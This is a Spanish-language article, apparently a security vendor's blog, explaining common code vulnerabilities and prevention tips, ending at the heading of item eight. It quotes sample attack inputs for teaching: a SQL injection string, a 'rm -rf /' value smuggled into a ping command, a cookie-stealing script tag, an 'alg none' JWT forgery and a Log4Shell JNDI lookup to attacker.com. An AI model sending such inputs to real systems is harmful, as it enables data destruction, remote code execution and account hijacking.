Aikido

Las 10 principales vulnerabilidades de seguridad del código encontradas en las aplicaciones modernas

Ruben CamerlynckRuben Camerlynck
|
#
#
#

Principales vulnerabilidades de seguridad del código

Introducción: En el panorama actual del software, la seguridad del código es una cuestión de vida o muerte. El año 2025 ha batido récords en cuanto a vulnerabilidades reveladas: más de 21 500 CVE solo en la primera mitad del año. Los atacantes no pierden tiempo en aprovechar estas fallas, a menudo a las pocas horas de su revelación. Y lo más sorprendente es que muchas de ellas no son nuevas vulnerabilidades 0-day, sino los mismos errores que los desarrolladores llevan cometiendo desde hace décadas. Es casi vergonzoso: los scripts entre sitios y las inyecciones SQL siguen siendo habituales en los CVE recién reportados, lo que pone de manifiesto que las prácticas de codificación segura no están a la altura. Esto debería preocupar a todos los equipos de desarrollo, ya que los exploits de vulnerabilidades representan ahora el 20 % de las brechas de seguridad, superando casi a las credenciales robadas como principal vector de ataque inicial.

Figura: El número de vulnerabilidades de software está alcanzando máximos históricos, con una media de 133 nuevas CVE notificadas cada día en 2025. Más de un tercio de ellas están clasificadas como «altas» o «críticas», lo que hace que la aplicación oportuna de parches y la codificación segura sean más cruciales que nunca.

¿Por qué es importante? Porque un solo descuido en la codificación puede echar por tierra millones de dólares en inversiones en seguridad. Por ejemplo, en 2024, una brecha en el Tesoro de los Estados Unidos se remonta a nada más que una clave API filtrada. Y todos hemos visto cómo una inyección SQL trivial o una comprobación de autenticación omitida pueden provocar fugas de datos catastróficas. La seguridad del código es ahora más importante que nunca. No es solo un problema del equipo de seguridad: empieza por nosotros, los desarrolladores, que debemos escribir código más seguro desde el principio y utilizar herramientas para detectar los problemas de forma temprana.

En este artículo, analizaremos las principales vulnerabilidades de seguridad a nivel de código que afectan a las aplicaciones modernas. Entre ellas se incluyen errores clásicos en su propio código (como secretos codificados o fallos en la validación de entradas), así como CVE reales en las bibliotecas y marcos de código abierto en los que confía. Para cada vulnerabilidad, explicaremos cómo funciona, daremos un ejemplo real, analizaremos su impacto y proporcionaremos consejos prácticos para prevenirla. También destacaremos cómo seguridad centrada en el desarrollador , como Aikido, pueden ayudar a detectar o incluso corregir automáticamente estos problemas antes de que lleguen a la fase de producción.

¿Qué son las vulnerabilidades de seguridad del código?

Una vulnerabilidad de seguridad del código es cualquier debilidad en el código fuente de una aplicación que un atacante puede aprovechar para comprometer la confidencialidad, la integridad o la disponibilidad. Esto abarca desde simples errores (por ejemplo, utilizar eval en entradas no desinfectadas) hasta sutiles fallos en bibliotecas de terceros (por ejemplo, un error de análisis que da lugar a la ejecución remota de código). En resumen, si facilita el trabajo de un atacante, se trata de una vulnerabilidad del código.

Estas vulnerabilidades afectan a todos los lenguajes y pilas tecnológicas, independientemente de si se escribe en JavaScript/TypeScript, Python, Go, Java o cualquier otro lenguaje. Una vulnerabilidad puede permitir a un atacante inyectar código malicioso, robar datos confidenciales, escalar privilegios o bloquear tu sistema. Muchos de estos fallos se catalogan como CVE (vulnerabilidades y exposiciones comunes) una vez descubiertos en software popular. Otros pueden ser errores lógicos únicos en tu propio código. El denominador común es que surgen de prácticas de codificación inseguras o de suposiciones pasadas por alto.

Teniendo esto en cuenta, examinemos algunas de las vulnerabilidades más frecuentes y peligrosas a nivel de código que afectan a los desarrolladores en la actualidad. La siguiente lista combina errores habituales de los desarrolladores con CVE reales de proyectos de código abierto. Cada uno de ellos representa una amenaza práctica que puede dar lugar a graves infracciones si no se aborda.

Las 10 principales vulnerabilidades de seguridad del código (y cómo solucionarlas)

1. Secretos codificados en el código

Dejar secretos confidenciales incrustados en el código es un error crítico, pero muy común. Codificar claves API, credenciales, claves de cifrado o tokens en el código fuente significa que, si un adversario ve ese código (por ejemplo, en un repositorio público o un artefacto filtrado), obtendrá acceso instantáneo a esos secretos. Incluso en repositorios privados, las credenciales pueden filtrarse accidentalmente y, una vez filtradas, suelen seguir siendo utilizables durante años. De hecho, el informe 2025 GitGuardianreveló que en 2024 se expusieron 23,8 millones de secretos en GitHub (un aumento del 25 % con respecto al año anterior). Peor aún, el 70 % de los secretos filtrados en 2022 seguían siendo válidos en 2025, lo que daba a los atacantes un amplio margen para explotarlos.

Las violaciones en el mundo real ponen de relieve el impacto. Por ejemplo, en 2024, unos atacantes violaron un sistema del Departamento del Tesoro de EE. UU. aprovechando una única clave API codificada para una plataforma de autenticación. Con una sola clave, eludieron las capas de controles de seguridad como si fueran usuarios autorizados. Del mismo modo, muchas violaciones de la seguridad en la nube comienzan cuando un desarrollador, sin darse cuenta, guarda las credenciales de la nube o las contraseñas de la base de datos en un repositorio. Una vez que un atacante las encuentra, se acabó el juego: puede iniciar sesión como usted y suplantar sus servicios.

Impacto: los secretos expuestos pueden dar lugar a un acceso no autorizado inmediato a bases de datos, cuentas en la nube, pasarelas de pago o API de terceros. Un atacante con una clave AWS filtrada, por ejemplo, podría poner en marcha una infraestructura, extraer datos o acumular facturas enormes. El coste medio de las infracciones que implican credenciales comprometidas es de 4,5 millones de dólares, y son las que más tiempo tardan en detectarse y contenerse, ya que el atacante tiene, en esencia, un acceso válido.

Prevención/reparación: Trate los secretos como si fueran granadas activas: nunca los codifique en su código o en los archivos Dockerfiles. Utilice variables de entorno, gestión de la configuración o almacenes de secretos dedicados para inyectar secretos en tiempo de ejecución. Implemente el escaneo automático de secretos en su canalización de CI/CD para detectar cualquier credencial que se cuele. (Existen soluciones que ofrecen una función de detección de secretos en tiempo real para bloquear que se confirmen los secretos). Por ejemplo, la plataforma de Aikido incluye un escaneo de secretos que marcaría una clave API en una confirmación y le alertaría o incluso impediría el envío. Una vez que se expone un secreto, asuma que está comprometido: cámbielo inmediatamente e invalide el antiguo. Si practica una buena higiene y escaneo de secretos, podrá evitar entregar a los atacantes las llaves de su reino.

2. Ataques de inyección (inyección SQL y de comandos)

Las vulnerabilidades de «inyección» son un clásico atemporal y siguen siendo increíblemente frecuentes. En un ataque de inyección de código, las entradas no fiables se interpretan como código o comandos, lo que permite al atacante alterar el comportamiento previsto. Las dos variantes más conocidas son la inyección SQL y la inyección de comandos del sistema operativo.

  • Inyección SQL (SQLi): Se produce cuando la entrada del usuario se concatena en una consulta SQL sin la validación o parametrización adecuadas. Los atacantes pueden crear entradas como ' O 1=1-- para manipular la lógica de la consulta. Esto les permite volcar bases de datos completas o modificar datos ampliando la cláusula WHERE de la consulta o terminándola y añadiendo un nuevo comando. A pesar de ser una vulnerabilidad típica de la década de 2000, SQLi sigue estando muy extendida: fue el segundo patrón de vulnerabilidad más común en CVE en 2025. Por ejemplo, el infame ««Bobby Tables» XKCD La broma es divertida hasta que te das cuenta de que las empresas reales siguen siendo víctimas de ella. Se han producido violaciones de seguridad muy sonadas en las que una simple inyección SQL en un formulario de inicio de sesión ha provocado el robo de millones de registros de clientes.
  • Inyección de comandos del sistema operativo: En este caso, la aplicación toma la entrada del usuario y la inserta en un comando del sistema o en una llamada de ejecución del shell. Por ejemplo, una aplicación Python podría hacer os.system("ping " + user_input). Un atacante podría proporcionar una entrada como 8.8.8.8 && rm -rf / para ejecutar un segundo comando malicioso. Ha habido CVE en marcos web y utilidades que inadvertidamente permitieron que dicha entrada generara shells. Esencialmente, si un atacante puede inyectar un ; o && en una cadena de comandos, pueden ejecutar comandos arbitrarios del sistema con los privilegios de la aplicación.

Ejemplo: un incidente notable en el mundo real fue la vulnerabilidad Drupalgeddon2 (CVE-2018-7600) en el CMS Drupal, que era esencialmente un fallo de inyección que permitía la ejecución remota de código a través de solicitudes diseñadas. Otro ejemplo: en 2022, una gran empresa sufrió el borrado de sus datos internos porque una herramienta de administración concatenó la entrada del usuario en un comando de PowerShell: un atacante pasó un comando para desactivar los servicios de seguridad y eliminar los datos. Estos casos demuestran que la inyección puede conducir directamente a la compromisión total del sistema.

Impacto: La inyección SQL puede exponer o corromper datos confidenciales (registros de usuarios, información financiera) y, a menudo, permite un pivote más profundo en la red a través de procedimientos almacenados en la base de datos. La inyección de comandos casi siempre da lugar a una ejecución remota de código (RCE), lo que permite a los atacantes ejecutar cualquier código en el servidor, con el riesgo de tomar el control total del host. fallos de inyección muy críticos, ya que pueden socavar una aplicación y su servidor subyacente.

Prevención: El mantra es Nunca confíes en la información introducida por el usuario.. Utilice sentencias preparadas (consultas parametrizadas) para acceder a la base de datos; esto garantiza que los datos del usuario se traten estrictamente como datos, no como SQL ejecutable. Por ejemplo, en Python utilice marcadores de posición de parámetros con cursor.execute("SELECT * FROM usuarios WHERE id = %s", (id_usuario,)) en lugar de formatear cadenas. Para lenguajes como JavaScript, utilice bibliotecas ORM/QueryBuilder que parametrizan las consultas por usted. Del mismo modo, evite construir comandos de shell a partir de fragmentos de entradas del usuario. Si necesita invocar comandos del sistema, utilice llamadas a bibliotecas seguras o, al menos, incluya en la lista blanca las entradas aceptables. Valide y desinfecte las entradas; por ejemplo, si una entrada debe ser un ID, asegúrese de que sea numérica y esté dentro del rango esperado. La validación de entradas no es infalible por sí sola, pero es una capa importante.

Además, utilice herramientas de pruebas de seguridad. análisis estático de código a menudo análisis estático de código detectar patrones de inyección obvios (como la concatenación de cadenas en llamadas SQL). SAST de Aikido, por ejemplo, señalaría el riesgo os.system(entrada_del_usuario) llamada o consulta SQL sin parametrizar como una posible inyección. En cuanto a la prevención, los cortafuegos de aplicaciones web (WAF) pueden bloquear algunos intentos de inyección, pero son una red de seguridad: el objetivo es corregir el código. Recuerde que fallos de inyección porque son fáciles de introducir y, a veces, difíciles de detectar. La revisión del código, la formación de los desarrolladores y los análisis automatizados son sus aliados en este sentido.

3. cross-site scripting

El cross-site scripting es otra de las herramientas favoritas de los atacantes. En un ataque XSS, una aplicación web incluye inadvertidamente código malicioso proporcionado por un atacante en las páginas enviadas a otros usuarios. El navegador de la víctima ejecuta ese script, lo que da lugar al secuestro de sesiones, la desfiguración de sitios web o la entrega de malware al usuario. El XSS se presenta en diferentes variantes (almacenado, reflejado, basado en DOM), pero en esencia suele tratarse de un fallo a la hora de limpiar o codificar correctamente la salida en la interfaz de usuario.

A pesar del auge de los marcos frontend modernos, XSS sigue siendo el patrón de vulnerabilidad web más frecuente. En el primer semestre de 2025, el cross-site scripting fue la debilidad más común observada en los nuevos CVE. Esto se debe en parte a que incluso pequeños descuidos en la sanitización pueden introducir XSS en plataformas que, por lo demás, son seguras. Por ejemplo, una nueva vulnerabilidad de Angular revelada en 2025 (CVE-2025-66412) reveló que ciertos atributos SVG y MathML no estaban cubiertos por el limpiador predeterminado de Angular, lo que permitía el paso de URL JavaScript maliciosas. En las aplicaciones que utilizan las versiones afectadas de Angular, un atacante podría crear una carga útil que, al renderizarse, ejecutara un script arbitrario en los navegadores de los usuarios: ¡un XSS almacenado en lo que se supone que es un marco seguro!

Ejemplo: Un ejemplo clásico es una sección de comentarios donde los usuarios pueden publicar texto. Si la aplicación simplemente vuelve a mostrar ese texto en las páginas sin codificarlo, un atacante podría publicar un comentario como <script>stealCookies()</script>. Todos los usuarios que vieran ese comentario ejecutarían sin saberlo el script del atacante, que podría, por ejemplo, enviar su token de sesión al atacante. Se han producido incidentes reales en sitios web de gran repercusión en los que el XSS en los perfiles de usuario o en los foros provocó el secuestro masivo de cuentas. Incluso en 2023, los investigadores encontraron XSS en varios complementos y aplicaciones web; por ejemplo, un XSS reflejado en un popular portal de soporte empresarial permitió a un atacante ejecutar código engañando a un usuario del servicio de asistencia para que hiciera clic en un enlace creado ad hoc.

Impacto: El impacto de XSS suele ser la suplantación de identidad y el robo de datos en el lado del cliente. Los atacantes pueden robar cookies de sesión, lo que les permite suplantar a los usuarios (incluidos los administradores). Pueden realizar acciones como el usuario (por ejemplo, cambiar la configuración de su cuenta), mostrar formularios de inicio de sesión falsos (phishing) o incluso propagar gusanos (un XSS que se publica en otras páginas). Aunque el XSS no compromete directamente el servidor, pone a sus usuarios en grave peligro y puede dañar su aplicación. En algunos casos, el XSS puede ser un paso hacia ataques posteriores (por ejemplo, pivotar al navegador de un administrador para obtener acceso al backend).

Prevención: La regla de oro es desinfectar la entrada y codificar la salida. Para cualquier dato que pueda incluir caracteres especiales HTML, asegúrese de que esté correctamente escapado o desinfectado antes de insertarlo en la página. Los marcos modernos como React, Angular y Vue tienen defensas XSS integradas (por ejemplo, autoescapado o DomPurify para HTML peligroso); utilícelos según lo previsto y evite eludir esas medidas de seguridad. Si está creando HTML manualmente, utilice bibliotecas de plantillas queescape llamen explícitamente a funciones de codificación. Emplee una política de seguridad de contenidos (CSP) para mitigar los daños (la CSP puede restringir los scripts que se pueden ejecutar). Actualice regularmente las bibliotecas frontend: como se ha visto con los CVE XSS 2025 de Angular, los marcos corrigen las lagunas de desinfección.

Desde el punto de vista de las herramientas, analizadores estáticos puede encontrar algunos problemas de XSS rastreando flujos de datos no saneados. El análisis de código de Aikido, por ejemplo, puede alertarle si la entrada del usuario va directamente a innerHTML o una plantilla sin escapar. escaneo dinámico DAST) también puede detectar XSS al intentar inyectar scripts durante las pruebas. Combine esto con una revisión exhaustiva del código (imagine la mentalidad de un atacante al revisar cualquier código que maneje HTML). La clave es la vigilancia: el XSS a menudo se cuela a través de ese «pequeño campo» que alguien olvidó escape.

4. Falsificación de solicitudes entre sitios (CSRF)

La falsificación de solicitudes entre sitios es un poco diferente de los otros problemas aquí: es más una vulnerabilidad de diseño que un error de código, pero es muy relevante para las aplicaciones web. CSRF permite a un atacante engañar al navegador de una víctima para que realice acciones no autorizadas en una aplicación web en la que la víctima está autenticada. En esencia, el atacante «se aprovecha» de la sesión de la víctima enviando una solicitud falsificada desde el navegador de la víctima a la aplicación de destino.

¿Cómo ocurre esto? Supongamos que un usuario ha iniciado sesión en el sitio web de su banco. La función de transferencia de dinero del banco es una simple solicitud POST para transferir dinero. Si el sitio del banco no está protegido contra CSRF, un atacante podría enviar por correo electrónico a ese usuario una página HTML maliciosa que contenga un formulario o script oculto que realice automáticamente esa solicitud POST (utilizando las cookies del usuario). El banco ve una cookie de sesión válida del usuario y procesa la solicitud, transfiriendo dinero al atacante, todo ello sin el conocimiento del usuario.

CSRF es bien conocido desde hace años, pero sigue apareciendo con frecuencia (figuraba entre las cinco principales categorías de vulnerabilidades en 2025 CVE). A menudo surge cuando los desarrolladores crean API o acciones de formulario sin incluir tokens CSRF u otras medidas antifalsificación. Incluso los marcos más experimentados pueden tener errores lógicos: por ejemplo, en 2025 se descubrió una vulnerabilidad en Angular por la que la protección XSRF de Angular trataba erróneamente algunas URL entre dominios como del mismo origen, lo que provocaba que adjuntara el token del usuario a las solicitudes controladas por el atacante. Este tipo de fallo podría habilitar el CSRF al filtrar o hacer un uso indebido de los tokens.

Impacto: un ataque CSRF exitoso puede obligar a los usuarios a realizar cualquier acción que modifique el estado y que su cuenta permita: actualizar los datos de la cuenta, realizar compras, cambiar la contraseña e incluso escalar privilegios, si existe dicha funcionalidad. Básicamente, el atacante se aprovecha de la sesión autenticada de la víctima. Cabe destacar que los ataques CSRF se dirigen a acciones, no al robo directo de datos (para eso está el XSS), pero las acciones pueden ser igual de perjudiciales (transacciones financieras, modificaciones de datos, etc.). Muchos exploits CSRF de alto perfil han permitido a los atacantes, por ejemplo, cambiar la configuración DNS de un router desde el interior o publicar contenido no deseado en nombre de un usuario en las redes sociales.

Prevención: La defensa estándar consiste en incluir un token anti-CSRF en cada transacción confidencial. Marcos como Django, Rails, Spring, etc. tienen mecanismos de token CSRF integrados: utilícelos. El token es un valor aleatorio que el sitio del atacante no puede obtener, y el servidor solo aceptará las solicitudes que tengan el token correcto (normalmente enviado como un campo oculto del formulario o un encabezado). En las aplicaciones modernas, si estás creando un backend API puro, puedes utilizar estrategias como requerir un encabezado personalizado (por ejemplo, X-Requested-With) o cookies del mismo sitio configuradas en Strict/Lax Para mitigar CSRF. Asegúrate de que tus cookies estén marcadas. SameSite=Lax o Strict para que los navegadores no los incluyan en las solicitudes de origen cruzado de forma predeterminada (esto se ha convertido en una defensa clave en la actualidad). Además, tenga cuidado con las configuraciones CORS: no permita que el dominio de un atacante envíe solicitudes privilegiadas a través de CORS a menos que sea absolutamente necesario.

La mayoría de los marcos web gestionan CSRF por ti si lo habilitas correctamente. Asegúrate de que no esté deshabilitado accidentalmente. Durante las pruebas, prueba algunos escenarios CSRF: ¿se puede activar una acción con solo visitar un enlace externo o cargar una imagen? Si es así, tienes un problema. Afortunadamente, el CSRF se puede prevenir con las prácticas adecuadas. Las pruebas de seguridad de Aikido también pueden simular intentos de CSRF como parte de las pruebas de penetración. Además, considere la posibilidad de realizar acciones críticas multifactoriales (de modo que, incluso si el CSRF activa la acción, se necesite un segundo factor para completarla). En general, nunca dé por sentado que una solicitud proviene de una fuente auténtica: valídela.

5. autenticación rota control de acceso

autenticación rota las vulnerabilidades de control de acceso se refieren a lo que ocurre cuando su aplicación no controla adecuadamente quién puede hacer qué. Esta categoría es sistemáticamente el riesgo más crítico en el Top 10 OWASP. Básicamente, se trata de fallos que permiten a los atacantes eludir la autenticación o elevar sus privilegios aprovechando las lagunas en su lógica de autorización.

Un subconjunto es autenticación rota – problemas como permitir contraseñas débiles, no aplicar bloqueos ante intentos de fuerza bruta o una gestión de sesiones defectuosa (por ejemplo, ID de sesión predecibles o que no caducan). Un ejemplo histórico famoso fue un problema en el que algunas aplicaciones aceptaban como válido un JWT con el algoritmo «none», lo que significaba que un atacante podía falsificar un token con { "alg": "none", "user": "admin" } y el sistema lo aceptaría como un inicio de sesión de administrador (esto se debía a que las bibliotecas no verificaban correctamente los tokens, un problema descubierto alrededor de 2015). Más recientemente, las configuraciones incorrectas, como dejar las credenciales de administrador predeterminadas o utilizar contraseñas codificadas (relacionadas con los secretos), son fallos de autenticación comunes.

El otro subconjunto (y posiblemente más extendido) es control de acceso roto. Se trata de no comprobar correctamente los permisos de los usuarios. Por ejemplo, una aplicación podría permitir una URL como /usuario/perfil?id_usuario=1234. Si puedo cambiar el userId a la identificación de otra persona y ver o modificar sus datos, eso es un IDOR (referencia directa a un objeto inseguro), un fallo clásico de control de acceso. Esto se destacó como CWE-862 «Autorización faltante» en muchos CVE. Es increíblemente común: muchas violaciones de seguridad de alto perfil comienzan cuando alguien encuentra un punto final de API que no verifica los privilegios del solicitante. Un ejemplo real: el sistema de recursos humanos de una empresa tenía una función de «exportar todos los registros de los empleados» destinada a los gerentes de recursos humanos. Debido a la falta de una verificación, cualquier empleado que hubiera iniciado sesión podía invocarla si conocía la URL, lo que provocó una violación de datos de miles de registros.

Impacto: una autenticación defectuosa puede permitir a los atacantes hacerse pasar por otros usuarios (incluidos los administradores) o utilizar los privilegios de otro usuario. control de acceso roto exponer datos confidenciales (si se puede acceder a los registros de otra persona) o incluso permitir cambios de estado maliciosos (por ejemplo, que usuarios normales realicen acciones exclusivas de los administradores). Los peores escenarios incluyen la apropiación completa de cuentas, fugas de datos u operaciones no autorizadas en todo el sistema. Por ejemplo, la falta de una comprobación administrativa podría permitir a un atacante crear nuevos usuarios administradores o descargar todos los datos de los clientes. Es fácil ver por qué este riesgo ocupa el primer lugar: socava el principio fundamental de seguridad de garantizar que cada usuario solo pueda hacer lo que se supone que debe hacer.

Prevención: Esto se reduce al rigor en la implementación de la autenticación y la autorización:

  • Autenticación: Utiliza marcos probados para el inicio de sesión y la gestión de sesiones; no crees tu propio sistema de autenticación si puedes evitarlo. Aplica políticas de contraseñas seguras y utiliza la autenticación multifactorial para las cuentas confidenciales. Asegúrate de cifrar correctamente las contraseñas (utiliza cifrados adaptativos seguros como bcrypt o Argon2, no MD5 sin cifrar). Implemente el bloqueo de cuentas o limitación de velocidad los intentos de inicio de sesión para frustrar los ataques de fuerza bruta. En cuanto a los tokens de sesión, hágalos largos y aleatorios, y si utiliza JWT, verifique siempre las firmas y las reclamaciones (y rechace el algoritmo «none» u otras configuraciones inseguras). Considere la posibilidad de utilizar bibliotecas para gestionar la verificación de JWT y el almacenamiento de sesiones de forma segura.
  • Control de acceso: Siga el principio del mínimo privilegio en el diseño de su aplicación. En el lado del servidor, cada solicitud a un recurso protegido debe realizar una comprobación de autorización: por ejemplo, si el usuario 123 solicita /cuentas/456El código debe verificar que 123 tiene permiso para acceder al recurso 456. Utilice marcos de control de acceso basados en roles o en atributos siempre que sea posible. A menudo resulta útil centralizar la lógica de autorización, para que no se disperse en un millón de condiciones que son fáciles de olvidar. Cuando utilice marcos como Django, Rails, Spring Security, etc., aproveche sus anotaciones de control de acceso o middleware integrados. En las API REST, evite depender únicamente de la aplicación por parte del cliente (como ocultar los botones de administración en la interfaz de usuario); aplíquela siempre también en el backend.

Durante el desarrollo y las pruebas, piense como un atacante: pruebe la manipulación de URL, intente acceder a las ID de otros usuarios o realice acciones fuera de su función. Herramientas como las pruebas de seguridad de Aikido (o las pruebas de penetración manuales) pueden ayudar a identificar estos problemas mediante la búsqueda de patrones IDOR comunes o la falta de autenticación en los puntos finales. Algunas herramientas de análisis estático también pueden detectar omisiones codificadas o condiciones siempre verdaderas en la lógica de autenticación.

En el código, nunca des por sentada la «seguridad mediante la opacidad» (es decir, que nadie encontrará ese punto final de administración oculto). En su lugar, asegúrate de que, aunque lo encuentren, no puedan utilizarlo sin las credenciales adecuadas. El registro y las alertas también son fundamentales: si alguien accede repetidamente a recursos a los que no debería, querrás saberlo. En resumen: autentica todo, autoriza cada acción.

6. Deserialización insegura

Las vulnerabilidades de deserialización se producen cuando una aplicación acepta datos serializados (por ejemplo, blobs binarios o JSON/XML que representan objetos) de una fuente no fiable y los deserializa sin las medidas de seguridad adecuadas. Si los datos se han creado con fines maliciosos, esto puede dar lugar a que el programa instancie objetos inesperados o ejecute código controlado por el atacante. En lenguajes como Java, Python y .NET, la deserialización insegura ha dado lugar a numerosas vulnerabilidades críticas (CVE) y exploits.

Un ejemplo reciente muy conocido es React2Shell (CVE-2025-55182), un RCE crítico en React Server Components descubierto a finales de 2025. Se originó a partir de una deserialización insegura en el protocolo «Flight» de RSC; básicamente, una carga malformada enviada a una aplicación Next.js/React podía manipular la lógica de deserialización del servidor y lograr la ejecución remota de código. Lo que hace que esto sea especialmente preocupante es que las configuraciones predeterminadas eran vulnerables (una aplicación Next.js estándar podía ser explotada sin que el desarrollador tuviera que realizar ningún cambio en el código). Se trataba de un ataque no autenticado que solo requería una solicitud HTTP diseñada para el servidor, y el código de explotación se hizo público, lo que provocó que se produjeran exploits activos en pocos días. Esto demuestra cómo los fallos de deserialización pueden acechar incluso en los marcos modernos.

En Java, un caso muy conocido fue la explotación de Apache Commons Collections en 2015: muchas aplicaciones empresariales utilizaban bibliotecas que deserializaban automáticamente objetos Java a partir de la entrada del usuario (como en las cookies HTTP o los datos SOAP). Los atacantes descubrieron que podían incluir un objeto serializado de una clase maliciosa que, al construirse, ejecutaba comandos. Esto provocó RCE en aplicaciones como Jenkins, WebLogic, etc. (Varios CVE, como CVE-2017-9805 en Struts y otros en WebLogic, abordaron estos problemas). Python tampoco es inmune: al utilizar pickle.cargas sobre entradas no fiables es básicamente otorgar poderes de ejecución de código a la entrada. Incluso los formatos de datos aparentemente seguros pueden ser peligrosos: los analizadores YAML en Python y Ruby tenían vulnerabilidades que podían obligarlos a ejecutar comandos al cargar YAML especialmente diseñado.

Impacto: La deserialización insegura suele ser una vía para ejecución remota de código. Como mínimo, puede permitir la manipulación de datos o la inyección de objetos no deseados. Un atacante puede instanciar clases u objetos del sistema con efectos secundarios maliciosos. Por ejemplo, en Java podrían utilizar clases gadget (objetos cuyos leerObjeto método tiene un comportamiento desagradable) para abrir un shell inverso. En Python, un pickle malicioso podría importar el os módulo y ejecutar comandos del sistema. El impacto suele ser el compromiso total de la aplicación y, posiblemente, del host, ya que el código se ejecuta dentro del proceso de la aplicación.

Prevención: En primer lugar, evite serializar y deserializar formatos de datos confidenciales o arbitrarios de fuentes no fiables siempre que sea posible. Si necesita intercambiar datos con el cliente, utilice formatos más sencillos, como JSON, y analice/valide el contenido manualmente en lugar de utilizar la serialización de objetos del lenguaje nativo. Para los lenguajes que requieren deserialización (por ejemplo, la recepción de objetos complejos), utilice bibliotecas que admitan un modo seguro o una lista blanca de clases. Por ejemplo, Java's ObjetoInputStream puede restringirse a determinadas clases mediante un filtro de validación (disponible en las versiones recientes de JDK). Del mismo modo, para Python, es preferible json o si debe usar YAML, utilice carga_segura en lugar de carga (para evitar la posible instanciación de objetos).

Muchos marcos han abordado los vectores de deserialización conocidos, por ejemplo, desactivando los valores predeterminados peligrosos. Asegúrese de mantener actualizadas esas bibliotecas. La vulnerabilidad de React mencionada anteriormente se solucionó con parches para Next.js y React; es fundamental actualizarlos. análisis de dependencias le análisis de dependencias de tales CVE para que pueda aplicar los parches rápidamente.

En cuanto al código, trate la deserialización como si se tratara de cargar un archivo de una fuente no fiable. Nunca confíes en su contenido.. Implemente comprobaciones de integridad o firmas para los datos serializados si es posible (de modo que solo el servidor pueda producir objetos serializados válidos). Si utiliza algo como JWT u otros tokens, opte por formatos estándar con validación integrada. SAST de Aikido SAST ayudar a señalar el uso de funciones inseguras (por ejemplo, puede advertir si detecta pickle.cargas en datos que no son obviamente fiables). Y si es absolutamente necesario aceptar objetos serializados, considere la posibilidad de ejecutar esa lógica en un entorno aislado con privilegios limitados.

En resumen: hay que tener mucho cuidado con la deserialización. La comodidad de convertir bytes en objetos de forma automática no compensa el riesgo para la seguridad, a menos que se controle muy estrictamente.

7. Uso de dependencias vulnerables y obsoletas

Las aplicaciones modernas dependen en gran medida de bibliotecas y marcos de código abierto. La desventaja es que, si no los mantienes actualizados, es probable que albergues vulnerabilidades conocidas en tu código base. El uso de componentes vulnerables u obsoletos es tan frecuente que OWASP lo incluyó en la categoría más amplia de «cadena de suministro de software» en 2025. Una sola biblioteca obsoleta puede hacer que tu aplicación sea vulnerable, incluso si tu propio código es impecable.

El ejemplo más claro es Log4Shell (CVE-2021-44228) en Log4j 2. Se trataba de una vulnerabilidad crítica de RCE en una biblioteca de registro Java muy popular, revelada a finales de 2021. Permitía a los atacantes enviar simplemente una cadena especialmente diseñada (${jndi:ldap://attacker.com/a}) en cualquier mensaje de registro; si una versión vulnerable de Log4j registraba esa cadena, realizaba una búsqueda JNDI en el servidor del atacante y cargaba código malicioso. ¿El resultado? Un atacante podía ejecutar código arbitrario en el servidor, activado por un evento de registro. Log4Shell era en todas partes – Millones de aplicaciones se vieron afectadas porque Log4j estaba integrado en innumerables productos Java. Las empresas pasaron semanas actualizando frenéticamente Log4j a la versión 2.17+ para solucionarlo. Este único error de dependencia fue calificado como una de las vulnerabilidades de Internet más graves en años.

Y hay muchos más ejemplos: el error Heartbleed en OpenSSL (2014) dejó las comunicaciones expuestas, los fallos de deserialización de Jackson-databind (varios CVE en 2017-2019) proporcionaron a los atacantes RCE a través del procesamiento JSON, una vulnerabilidad en la biblioteca Python urllib3 (CVE-2020-26137) permitió eludir el certificado HTTPS en determinadas condiciones, etc. En el ámbito de JavaScript, ¿quién puede olvidar los problemas de contaminación de prototipos en Lodash y jQuery (por ejemplo, CVE-2019-10744)? Los atacantes podían manipular el prototipo de un objeto mediante entradas maliciosas, lo que podía causar estragos en la aplicación. Si utiliza una versión obsoleta de un paquete popular, es probable que sus vulnerabilidades sean de dominio público. Los atacantes sin duda las conocen e intentarán explotar las aplicaciones que no hayan sido parcheadas.

Impacto: El impacto varía según la vulnerabilidad de la biblioteca, pero puede ser tan grave como la ejecución remota de código, la fuga de datos o el compromiso total. Utilizando el ejemplo de Log4Shell, si tuvieras una versión antigua de Log4j, un atacante podría ejecutar código de forma remota en tus servidores con solo enviar la cadena correcta (eso es lo peor que puede pasar). Un marco web obsoleto podría permitir XSS o SQLi en su sitio, incluso si su propio código es correcto. Una biblioteca de criptografía vulnerable podría romper el cifrado en el que confía. Básicamente, su seguridad es tan fuerte como el eslabón más débil de sus dependencias. Los atacantes suelen buscar versiones específicas de software a través de encabezados o rutas de archivos conocidas para identificar objetivos explotables.

Prevención: Manténgase al tanto de las actualizaciones. Esto es más fácil decirlo que hacerlo (en proyectos grandes con muchas dependencias, las actualizaciones constantes pueden ser una tarea tediosa), pero es imprescindible para la seguridad. Utiliza herramientas de gestión de dependencias que te muestren las actualizaciones disponibles y reserva tiempo regularmente para aplicarlas. Aprovecha las herramientas análisis de composición de software SCA), que te alertarán si tu proyecto está incorporando una biblioteca con un CVE conocido. Por ejemplo, si hay una vulnerabilidad crítica en lodash 4.17.19 y estás usando eso, una SCA lo marcaría y sugeriría actualizar a 4.17.21Muchos registros de paquetes también publican avisos de seguridad: utilice las herramientas de auditoría adecuadas para su ecosistema como parte de su proceso de CI.

Más allá de las simples alertas, algunas herramientas modernas pueden incluso corregir automáticamente estos problemas, cambiando automáticamente a versiones seguras. Algunas plataformas pueden detectar paquetes vulnerables y proponer la actualización mínima de la versión que corrige el CVE (e incluso abrir una solicitud de extracción por usted). Pruebe siempre después de las actualizaciones, pero no deje que el miedo a los cambios radicales le mantenga en una versión antigua y vulnerable: en la mayoría de los casos, el riesgo de una brecha suele superar el riesgo de una actualización menor.

Además, minimice las dependencias siempre que sea posible (menos bibliotecas significa menos vulnerabilidades potenciales) y dé preferencia a las bibliotecas con mantenimiento activo. Si un proyecto parece abandonado y tiene problemas conocidos, considere alternativas. Esté atento a las fuentes de seguridad para detectar vulnerabilidades críticas en la tecnología que utiliza. Básicamente, trate la gestión de dependencias como parte de su postura de seguridad, no solo como una tarea de DevOps. El objetivo es cerrar los agujeros conocidos antes de que los atacantes los aprovechen.

8. Dependencias maliciosas o comprometidas (ataques a la cadena de suministro)

